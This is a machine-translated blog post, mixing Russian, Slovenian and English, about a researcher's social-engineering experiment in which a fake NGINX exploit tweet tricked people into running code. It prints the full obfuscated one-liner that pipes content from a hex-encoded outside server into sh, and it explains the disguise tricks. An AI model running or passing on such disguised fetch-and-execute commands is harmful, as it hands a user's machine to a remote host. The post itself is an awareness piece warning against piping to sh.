{"id":35126,"date":"2019-10-31T22:02:28","date_gmt":"2019-10-31T19:02:28","guid":{"rendered":"https:\/\/prohoster.info\/blog\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx\/"},"modified":"2019-10-31T22:02:28","modified_gmt":"2019-10-31T19:02:28","slug":"uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sl\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","title":{"rendered":"Uspeh dru\u017ebenega eksperimenta s ponarejenim izkori\u0161\u010danjem za nginx","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p><i><b>Op. prev.<\/b>: <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/notdan\">Avtor<\/a><\/noindex> \u0438\u0437\u0432\u043e\u0440\u043e\u0442\u043b\u0438\u0432\u043e\u0439 \u0437\u0430\u043c\u0435\u0442\u043a\u0438, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u043e\u0439 1 \u0438\u044e\u043d\u044f, \u043e\u043d \u0440\u0435\u0448\u0438\u043b \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442 \u0441\u0440\u0435\u0434\u0438 \u0443\u0432\u043b\u0435\u0447\u0451\u043d\u043d\u044b\u0445 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043e\u043d \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043b \u0444\u0430\u043b\u044c\u0448\u0438\u0432\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043a \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u043b \u0435\u0433\u043e \u0432 \u0441\u0432\u043e\u0451\u043c \u0442\u0432\u0438\u0442\u0442\u0435\u0440\u0435. \u0415\u0433\u043e \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0435\u0433\u043e \u0441\u0440\u0430\u0437\u0443 \u0440\u0430\u0437\u043e\u0431\u043b\u0430\u0447\u0430\u0442 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u043c\u0435\u0442\u044f\u0442 \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u044b\u0439 \u043e\u0431\u043c\u0430\u043d \u0432 \u043a\u043e\u0434\u0435, \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0435 \u043e\u043f\u0440\u0430\u0432\u0434\u0430\u043b\u043e\u0441\u044c\u2026 \u041e\u043d\u043e \u043f\u0440\u0435\u0432\u0437\u043e\u0448\u043b\u043e \u0432\u0441\u0435 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f, \u043f\u0440\u0438\u0447\u0451\u043c \u0432 \u043e\u0431\u0440\u0430\u0442\u043d\u0443\u044e \u0441\u0442\u043e\u0440\u043e\u043d\u0443: \u0442\u0432\u0438\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u043c\u0430\u0441\u0441\u0443 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u043e\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u043b\u044e\u0434\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0441\u0442\u0430\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0435\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435.<\/i><\/p>\n<p><img decoding=\"async\" alt=\"Uspeh dru\u017ebenega eksperimenta s ponarejenim izkori\u0161\u010danjem za nginx\" src=\"\/wp-content\/uploads\/2019\/06\/20ff08c6f541176c68ef2c689b989389.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\n<b>TL;DR: \u043d\u0438 \u0432 \u043a\u043e\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0438\u0437\u0430\u0446\u0438\u044e \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 sh \u0438\u043b\u0438 bash. \u042d\u0442\u043e \u043e\u0442\u043b\u0438\u0447\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0443\u0442\u0440\u0430\u0442\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043e\u043c.<\/b><noindex><a rel=\"nofollow\" name=\"habracut\"><\/a><\/noindex><\/p>\n<p>\u0425\u043e\u0447\u0443 \u043f\u043e\u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0441 \u0432\u0430\u043c\u0438 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0435\u0439 \u043e \u0448\u0443\u0442\u043e\u0447\u043d\u043e\u043c PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u0441\u043e\u0437\u0434\u0430\u043d 31 \u043c\u0430\u044f. \u041e\u043d \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u0432 \u043e\u0442\u0432\u0435\u0442 \u043d\u0430 \u043d\u043e\u0432\u043e\u0441\u0442\u044c \u043e\u0442 <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/alisaesage\">Alisa Esage \u0428\u0435\u0432\u0447\u0435\u043d\u043a\u043e<\/a><\/noindex>, \u0447\u043b\u0435\u043d\u0430 <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/thezdi\">Zero Day Initiative<\/a><\/noindex> (ZDI), \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0441\u043a\u043e\u0440\u043e \u0431\u0443\u0434\u0443\u0442 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 NGINX, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0435\u0439 \u043a RCE (\u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430). \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 NGINX \u043b\u0435\u0436\u0438\u0442 \u0432 \u043e\u0441\u043d\u043e\u0432\u0435 \u043c\u043d\u043e\u0433\u0438\u0445 \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u043e\u0432, \u043d\u043e\u0432\u043e\u0441\u0442\u044c \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u044b\u043b\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u044d\u0444\u0444\u0435\u043a\u0442 \u0440\u0430\u0437\u043e\u0440\u0432\u0430\u0432\u0448\u0435\u0439\u0441\u044f \u0431\u043e\u043c\u0431\u044b. \u041d\u043e \u0438\u0437-\u0437\u0430 \u0437\u0430\u0434\u0435\u0440\u0436\u0435\u043a \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u00ab\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f\u00bb \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0435\u0434\u0448\u0435\u0433\u043e \u043d\u0435 \u0431\u044b\u043b\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b \u2014 \u0442\u0430\u043a\u043e\u0432\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0430\u044f \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u0430 ZDI.<\/p>\n<p><img decoding=\"async\" alt=\"Uspeh dru\u017ebenega eksperimenta s ponarejenim izkori\u0161\u010danjem za nginx\" src=\"\/wp-content\/uploads\/2019\/06\/fba47177ff2a2d05db7942f229e145b0.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i><noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/alisaesage\/status\/1134400951043874816\">\u0422\u0432\u0438\u0442<\/a><\/noindex> \u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 NGINX<\/i><\/p>\n<p>\u0417\u0430\u043a\u043e\u043d\u0447\u0438\u0432 \u0440\u0430\u0431\u043e\u0442\u0443 \u043d\u0430\u0434 \u043d\u043e\u0432\u043e\u0439 \u0442\u0435\u0445\u043d\u0438\u043a\u043e\u0439 \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0438 \u0432 curl, \u044f \u043f\u0440\u043e\u0446\u0438\u0442\u0438\u0440\u043e\u0432\u0430\u043b \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0442\u0432\u0438\u0442 \u0438 \u00ab\u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u0440\u0430\u0431\u043e\u0447\u0438\u0439 PoC\u00bb, \u0441\u043e\u0441\u0442\u043e\u044f\u0449\u0438\u0439 \u0438\u0437 \u043e\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 \u043a\u043e\u0434\u0430, \u044f\u043a\u043e\u0431\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u0439 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c. \u041a\u043e\u043d\u0435\u0447\u043d\u043e, \u044d\u0442\u043e \u0431\u044b\u043b\u0430 \u043f\u043e\u043b\u043d\u0430\u044f \u0435\u0440\u0443\u043d\u0434\u0430. \u042f \u043f\u043e\u043b\u0430\u0433\u0430\u043b, \u0447\u0442\u043e \u043c\u0435\u043d\u044f \u0441\u0440\u0430\u0437\u0443 \u0440\u0430\u0437\u043e\u0431\u043b\u0430\u0447\u0430\u0442, \u0438 \u0447\u0442\u043e \u0432 \u043b\u0443\u0447\u0448\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u044f \u043f\u043e\u043b\u0443\u0447\u0443 \u043f\u0430\u0440\u0443 \u0440\u0435\u0442\u0432\u0438\u0442\u043e\u0432 (\u043d\u0443 \u0438 \u043b\u0430\u0434\u043d\u043e).<\/p>\n<p><img decoding=\"async\" alt=\"Uspeh dru\u017ebenega eksperimenta s ponarejenim izkori\u0161\u010danjem za nginx\" src=\"\/wp-content\/uploads\/2019\/06\/30c8394a4bd7a151828bc3459f18f2f6.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i><noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/notdan\/status\/1134559331989434368\">\u0422\u0432\u0438\u0442<\/a><\/noindex> \u0441 \u0444\u0430\u043b\u044c\u0448\u0438\u0432\u044b\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u043c<\/i><\/p>\n<p>\u041e\u0434\u043d\u0430\u043a\u043e \u044f \u043d\u0435 \u043c\u043e\u0433 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0435\u0431\u0435 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e \u0434\u0430\u043b\u044c\u0448\u0435. \u041f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c \u043c\u043e\u0435\u0433\u043e \u0442\u0432\u0438\u0442\u0430 \u0432\u0437\u043b\u0435\u0442\u0435\u043b\u0430 \u0434\u043e \u043d\u0435\u0431\u0435\u0441. \u0423\u0434\u0438\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u043d\u043e \u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 (15:00 \u041c\u0421\u041a 1 \u0438\u044e\u043d\u044f) \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043c\u0430\u043b\u043e \u043a\u0442\u043e \u043e\u0441\u043e\u0437\u043d\u0430\u043b, \u0447\u0442\u043e \u044d\u0442\u043e \u043e\u0431\u043c\u0430\u043d. \u041c\u043d\u043e\u0433\u0438\u0435 \u0440\u0435\u0442\u0432\u0438\u0442\u044f\u0442 \u0435\u0433\u043e \u0432\u043e\u043e\u0431\u0449\u0435 \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 (\u043d\u0435 \u0433\u043e\u0432\u043e\u0440\u044f \u0443\u0436\u0435 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u044e\u0431\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0447\u0443\u0434\u0435\u0441\u043d\u043e\u0439 ASCII-\u0433\u0440\u0430\u0444\u0438\u043a\u043e\u0439, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043e\u043d \u0432\u044b\u0432\u043e\u0434\u0438\u0442).<\/p>\n<p><img decoding=\"async\" alt=\"Uspeh dru\u017ebenega eksperimenta s ponarejenim izkori\u0161\u010danjem za nginx\" src=\"\/wp-content\/uploads\/2019\/06\/a22501843edc07cf0dc49b698b1048c2.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>\u0422\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u0442\u0435, \u043a\u0430\u043a\u0430\u044f \u043a\u0440\u0430\u0441\u043e\u0442\u0430!<\/i><\/p>\n<p>\u010ceprav so ti cikli in barve \u010dudoviti, je jasno: da bi jih videli, so ljudje izvajali kodo na svojem ra\u010dunalniku. Na sre\u010do brskalniki delujejo podobno, in ob dejstvu, da zakonodajne te\u017eave sploh niso zame, je koda, skrita na moji spletni strani, zgolj klicala echo, ne da bi posku\u0161ala namestiti ali izvesti kak\u0161no dodatno kodo.<\/p>\n<p>Majhna digresija: <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/netspooky\">netspooky<\/a><\/noindex>, <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/dnoiz1\">dnz<\/a><\/noindex>, jaz in drugi fantje iz ekipe <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/thugcrowd\">Thugcrowd<\/a><\/noindex> \u017ee nekaj \u010dasa eksperimentiramo z razli\u010dnimi metodami obfuskacije curl ukazov, ker je to zabavno ... in smo geeky. netspooky in dnz sta odkrila nekaj novih na\u010dinov, ki so se mi zdeli izjemno obetavni. Pridru\u017eil sem se zabavi in poskusil dodati IP-decimale v nabor trikov. Izkazalo se je, da je mogo\u010de tudi IP pretvoriti v \u0161estnajsti\u0161ki format. Poleg tega curl in ve\u010dina drugih NIX orodij rade bereta \u0161estnajsti\u0161ke IP! Tako je bilo treba ustvariti prepri\u010dljivo in varno videti ukazno vrstico. Na koncu sem se odlo\u010dil za to:<\/p>\n<pre><code class=\"plaintext\">curl -gsS https:\/\/127.0.0.1-ALIJEN-SERVER:443\/..\/..\/..\/..\/\/nginx-handler?\/usr\/lib\/nginx\/modules\/ngx_stream_module.so:127.0.0.1:80:\/bin\/sh&lt;'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc \/dev\/tcp\/localhost<\/code><\/pre>\n<p><\/p>\n<h2>Socio-elektronsko in\u017eenirstvo (S.E.E.) je ve\u010d kot le phishing<\/h2>\n<p>\nVarnost in poznanost sta bila klju\u010dna dela tega eksperimenta. Mislim, da sta prav to prispevala k njegovemu uspehu. Ukazna vrstica je o\u010ditno nakazovala varnost, sklicujo\u010d se na '127.0.0.1' (vsem znani localhost). Domneva se, da je localhost varen, in podatki na njem nikoli ne zapustijo va\u0161ega ra\u010dunalnika.<\/p>\n<p>Poznanost je bila drugi klju\u010dni komponent S.E.E. eksperimenta. Ker je bila ciljna publika ve\u010dinoma sestavljena iz ljudi, dobro seznanjenih s temelji ra\u010dunalni\u0161ke varnosti, je bilo pomembno ustvariti kodo, katere deli so se zdeli znani in poznani (in zato varni). Zajemanje elementov starih konceptov izkori\u0161\u010danja in njihovo nepri\u010dakovano kombiniranje se je izkazalo za precej uspe\u0161no.<\/p>\n<p>Spodaj je podroben pregled enovrsti\u010dnika. <i>Vse na tem seznamu je <b>kozmeti\u010dne narave<\/b>, in za njegovo dejansko delovanje prakti\u010dno ni\u010d ni potrebno.<\/i><\/p>\n<p>Kateri so torej res potrebni komponenti? To je <code>-gsS<\/code>, <code>-O 0x0238f06a<\/code>, <code>|sh<\/code> in the web server itself. The web server contained no malicious instructions, merely transmitting ASCII graphics through commands <code>echo<\/code> in the script contained in <code>index.html<\/code>. When the user entered a string with <code>|sh<\/code> in the middle, <code>index.html<\/code> it was loaded and executed. Fortunately, the web server keepers had no evil intentions.<\/p>\n<ul>\n<li> <code>..\/..\/..\/%00<\/code> \u2014 depicts an out-of-bounds directory access;<\/li>\n<li> <code>ngx_stream_module.so<\/code> \u2014 the path to a random NGINX module;<\/li>\n<li> <code>\/bin\/sh%00&lt;'protocol:TCP'<\/code> \u2014 we allegedly launch <code>\/bin\/sh<\/code> on the target machine and redirect the output to a TCP channel;<\/li>\n<li> <code>-O 0x0238f06a#PLToffset<\/code> \u2014 the secret ingredient, augmented <code>#PLToffset<\/code>, to appear as a memory offset somehow contained in PLT;<\/li>\n<li> <code>|sh;<\/code> \u2014 another important fragment. We needed to redirect the output to sh\/bash to execute the code coming from the attacking web server located at <code>0x0238f06a<\/code> (<code>2.56.240.x<\/code>);<\/li>\n<li> <code>nc \/dev\/tcp\/localhost<\/code> \u2014 a placeholder where netcat refers to <code>\/dev\/tcp\/localhost<\/code>, to make everything look safe again. In reality, it does nothing and is included in the string for aesthetics.<\/li>\n<\/ul>\n<p>\nThis concludes the decryption of the one-liner script and the discussion of the aspects of 'socio-electronic engineering' (elaborate phishing).<\/p>\n<h2>Web server configuration and countermeasures<\/h2>\n<p>\nSince the overwhelming majority of my subscribers are information security professionals\/hackers, I decided to make the web server a bit more resilient to the manifestations of 'interest' from their side just so they'd have something to do (and setting it up was fun). I'm not going to list all the traps here since the experiment is still ongoing, but here are a few things the server does:<\/p>\n<ul>\n<li> Actively monitors attempts to spread in certain social networks and injects various preview thumbnails to encourage users to click the link.<\/li>\n<li> Redirects Chrome\/Mozilla\/Safari\/etc. to a promo video for Thugcrowd instead of showing the shell script.<\/li>\n<li> Monitors for OBVIOUS signs of intrusion\/brute force attacks, after which it begins to redirect requests to NSA servers (ha!).<\/li>\n<li> Installs a trojan as well as a BIOS rootkit on all computers whose users visit the host with a regular browser (just kidding!).<\/li>\n<\/ul>\n<p>\n<img decoding=\"async\" alt=\"Uspeh dru\u017ebenega eksperimenta s ponarejenim izkori\u0161\u010danjem za nginx\" src=\"\/wp-content\/uploads\/2019\/06\/8ea3f0c6e2e303bef6f9ba73370d6cf1.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>A small part of anti-mitigation<\/i><\/p>\n<p>In this case, my only goal was to explore some capabilities of Apache \u2014 specifically, the cool request redirection rules \u2014 and I thought, why not?<\/p>\n<h2>NGINX exploit (the real thing!)<\/h2>\n<p>\nPrijavite se za <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/alisaesage\">@alisaesage<\/a><\/noindex> na Twitterju in spremljajte odli\u010dno delo ZDI pri odpravljanju resni\u010dnih ranljivosti in mo\u017enosti za izkori\u0161\u010danje v NGINX-u. Njihovo delo me je vedno navdu\u0161evalo in hvale\u017een sem Alisi za potrpljenje glede vseh omemb in obvestil, ki so izvirala iz moje neumnosti na Twitterju. Na sre\u010do je to prineslo tudi nekaj koristi: pomagalo je pove\u010dati zavedanje o ranljivostih NGINX-a in problemih, ki jih povzro\u010da zloraba curl-a.<br \/>\n<br \/>Izvor: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/454700\/\">habr.com<\/a><\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u041f\u0440\u0438\u043c. \u043f\u0435\u0440\u0435\u0432.: \u0410\u0432\u0442\u043e\u0440 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043c\u0435\u0442\u043a\u0438, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u043e\u0439 1 \u0438\u044e\u043d\u044f, \u0440\u0435\u0448\u0438\u043b \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442 \u0432 \u0441\u0440\u0435\u0434\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u044e\u0449\u0438\u0445\u0441\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043e\u043d \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043b \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043a \u043d\u0435\u0440\u0430\u0441\u043a\u0440\u044b\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u043b \u0435\u0433\u043e \u0432 \u0441\u0432\u043e\u0451\u043c \u0442\u0432\u0438\u0442\u0442\u0435\u0440\u0435. \u0415\u0433\u043e \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u2014 \u0431\u044b\u0442\u044c \u043c\u0433\u043d\u043e\u0432\u0435\u043d\u043d\u043e \u0440\u0430\u0437\u043e\u0431\u043b\u0430\u0447\u0451\u043d\u043d\u044b\u043c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u0430\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u0432\u0438\u0434\u044f\u0442 \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u044b\u0439 \u043e\u0431\u043c\u0430\u043d \u0432 \u043a\u043e\u0434\u0435, \u2014 \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0435 \u043e\u043f\u0440\u0430\u0432\u0434\u0430\u043b\u0438\u0441\u044c\u2026 \u041e\u043d\u0438 \u043f\u0440\u0435\u0432\u0437\u043e\u0448\u043b\u0438 \u0432\u0441\u0435 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f, [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":26410,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-35126","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.4 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/sl\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx\" \/>\n\t\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.4\" \/>\n\t\t<meta property=\"og:locale\" content=\"sl_SI\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u0423\u0441\u043f\u0435\u0445 \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 \u0441 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u043c \u0434\u043b\u044f nginx | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/sl\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2019-10-31T19:02:28+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2019-10-31T19:02:28+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47Uspeh socijalnog eksperimenta sa la\u017enim eksploatom za nginx | ProHoster","description":"Primer.","canonical_url":"https:\/\/prohoster.info\/sl\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"sl_SI","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u0441\u043f\u0435\u0445 \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 \u0441 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u043c \u0434\u043b\u044f nginx | 